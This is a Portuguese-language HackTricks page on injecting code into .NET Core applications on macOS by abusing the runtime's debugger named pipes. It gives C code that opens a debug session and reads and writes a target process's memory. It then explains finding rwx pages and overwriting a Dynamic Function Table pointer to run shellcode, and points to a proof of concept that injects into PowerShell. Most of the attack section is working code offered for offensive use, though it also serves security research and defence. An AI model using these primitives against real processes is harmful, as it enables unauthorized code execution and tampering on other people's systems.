11 KiB
Injeção em Aplicações .Net no macOS
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Participe do grupo 💬 Discord ou do grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.
Depuração do .NET Core
Estabelecer uma sessão de depuração
dbgtransportsession.cpp é responsável por lidar com a comunicação entre o depurador e o depurado.
Ele cria 2 pipes nomeados por processo .Net em dbgtransportsession.cpp#L127 chamando twowaypipe.cpp#L27 (um terminará em -in
e o outro em -out
, e o resto do nome será o mesmo).
Portanto, se você for ao $TMPDIR
do usuário, poderá encontrar fifos de depuração que poderiam ser usados para depurar aplicações .Net:
A função DbgTransportSession::TransportWorker lidará com a comunicação de um depurador.
A primeira coisa que um depurador precisa fazer é criar uma nova sessão de depuração. Isso é feito enviando uma mensagem através do pipe out
começando com uma estrutura MessageHeader
, que podemos obter do código-fonte do .NET:
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
No caso de uma nova solicitação de sessão, essa struct é preenchida da seguinte forma:
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
Uma vez construído, enviamos isso para o alvo usando a chamada de sistema write
:
write(wr, &sSendHeader, sizeof(MessageHeader));
Seguindo nosso cabeçalho, precisamos enviar uma estrutura sessionRequestData
, que contém um GUID para identificar nossa sessão:
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
Ao enviar nossa solicitação de sessão, nós lemos do out
pipe um cabeçalho que indicará se nossa solicitação para estabelecer se uma sessão de depuração foi bem-sucedida ou não:
read(rd, &sReceiveHeader, sizeof(MessageHeader));
Ler Memória
Com uma sessão de depuração estabelecida, é possível ler memória usando o tipo de mensagem MT_ReadMemory
. Para ler alguma memória, o código principal necessário seria:
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
O código de prova de conceito (POC) pode ser encontrado aqui.
Escrever memória
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
O código POC utilizado para isso pode ser encontrado aqui.
Execução de código .NET Core
A primeira coisa é identificar, por exemplo, uma região de memória com rwx
ativa para salvar o shellcode a ser executado. Isso pode ser feito facilmente com:
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
Então, para desencadear a execução, seria necessário saber algum lugar onde um ponteiro de função é armazenado para sobrescrevê-lo. É possível sobrescrever um ponteiro dentro da Tabela de Funções Dinâmicas (DFT), que é usada pelo tempo de execução do .NET Core para fornecer funções auxiliares para a compilação JIT. Uma lista de ponteiros de função suportados pode ser encontrada dentro de jithelpers.h
.
Nas versões x64 isso é direto usando a técnica de caça de assinaturas ao estilo mimikatz para procurar em libcorclr.dll
por uma referência ao símbolo _hlpDynamicFuncTable
, que podemos desreferenciar:
Tudo o que resta a fazer é encontrar um endereço do qual iniciar nossa busca de assinatura. Para fazer isso, aproveitamos outra função de depuração exposta, MT_GetDCB
. Isso retorna uma série de informações úteis sobre o processo alvo, mas para o nosso caso, estamos interessados em um campo retornado contendo o endereço de uma função auxiliar, m_helperRemoteStartAddr
. Usando este endereço, sabemos exatamente onde libcorclr.dll
está localizado na memória do processo alvo e podemos iniciar nossa busca pela DFT.
Sabendo desse endereço, é possível sobrescrever o ponteiro da função com o nosso próprio shellcode.
O código POC completo usado para injetar no PowerShell pode ser encontrado aqui.
Referências
- Esta técnica foi retirada de https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.